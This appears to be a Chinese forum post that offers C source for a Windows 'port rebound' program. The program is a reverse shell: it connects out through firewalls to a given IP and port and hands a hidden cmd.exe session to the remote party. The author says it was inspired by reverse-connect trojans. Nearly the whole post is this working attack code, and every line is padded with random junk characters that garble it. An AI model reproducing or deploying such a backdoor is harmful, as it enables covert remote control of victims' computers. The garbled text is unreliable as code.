Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 4mNL;O  
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/* ============================== Tud[VS?99  
Rebound port in Windows NT &:akom8  
By wind,2006/7
0eq>  
===============================*/ 9S=9m[#
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#include hS*3yCE"8  
#include zoC/Hm  
Y<w2_+(  
#pragma comment(lib,"wsock32.lib") Ulj2Py}  
/ DeIs  
void OutputShell(); EZ1H0fm  
SOCKET sClient; 5SR29Z[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;]Y.2 J  
ZS>}NN  
void main(int argc,char **argv) m[ay  
{ K`(STvtM  
WSADATA stWsaData; d!G%n *  
int nRet; {n$9o
  
SOCKADDR_IN stSaiClient,stSaiServer; eW\7X%I  
ll[U-v{  
if(argc != 3) KDRIy@[e  
{ VH#]67  
printf("Useage:\n\rRebound DestIP DestPort\n"); rm2{PV<+d  
return; OPwp
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} z}8rD}BH  
tz1iabZ{  
WSAStartup(MAKEWORD(2,2),&stWsaData); .Ks&r  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
qa`bR%eH  
NZ7a^xT_)  
stSaiClient.sin_family = AF_INET; ofcoNLX5c  
stSaiClient.sin_port = htons(0); )3h=V^rm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q&`$:h.~  
LtejLCf/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "F"G(ba^  
{ [K&O]s<Y  
printf("Bind Socket Failed!\n"); [g&Q_+,j  
return; 8*>6+"w  
} [7|}h/  
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stSaiServer.sin_family = AF_INET; qO&:J\d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e3)rF5pp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C*kZ>mbc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VIAj]Ul  
{ (zk'i13#6  
printf("Connect Error!"); Sh2q#7hf  
return; >,uof?  
} Xw9,O8}C7  
OutputShell(); e)!X9><J  
} A){kitx-i)  

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void OutputShell() /A|ofAr)  
{ "^22Y}VB  
char szBuff[1024]; ;\4}Hcg  
SECURITY_ATTRIBUTES stSecurityAttributes; 5xTm]
  
OSVERSIONINFO stOsversionInfo; u"X8(\pOn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c)iQ3_&=  
STARTUPINFO stStartupInfo; >hB]T%'  
char *szShell; sGMC$%e}  
PROCESS_INFORMATION stProcessInformation; [gIStKe  
unsigned long lBytesRead; |I)xK@7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pOIFO=k  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `!!A;G7Qg  
stSecurityAttributes.lpSecurityDescriptor = 0; dL6sb;7R  
stSecurityAttributes.bInheritHandle = TRUE; d/P$qMD  
UO<uG#FB  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s:I^AL5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -uy}]s5Qu  
=*8"ci$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !QcgTW)T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lSXhHy  
stStartupInfo.wShowWindow = SW_HIDE; >=C)\Yfu)  
stStartupInfo.hStdInput = hReadPipe; XRP/E_4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xhg{!w  
d@,q6R}!MP  
GetVersionEx(&stOsversionInfo); JXUO?9  
hl6al:Y  
switch(stOsversionInfo.dwPlatformId) 2=F_<Jh|+  
{ I?bL4u$\  
case 1: %b@>riR(y  
szShell = "command.com"; e!eWwC9u  
break; rLh490
@  
default: cX*  
szShell = "cmd.exe"; "pMXTRb  
break; LP=!u~?  
} =E4nNL
?  
3,N7Nfe  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OK3B6T5w=  
wT*`Od8w  
send(sClient,szMsg,77,0); IK~ur\3  
while(1) C[gSiL  
{ n$#^gzU4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); % fA0XRM  
if(lBytesRead) h>bmHQ  
{ 5'+g'9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^6J*yV%  
send(sClient,szBuff,lBytesRead,0); =jg
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} Y*wbFL6`  
else 9Ki86  
{ .}
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lBytesRead=recv(sClient,szBuff,1024,0); Srol0D I  
if(lBytesRead<=0) break; mz9Kwxe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6u8`,&U  
} ~aA+L-s|  
} aW w`v[v  
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return; ,,fLK1  
}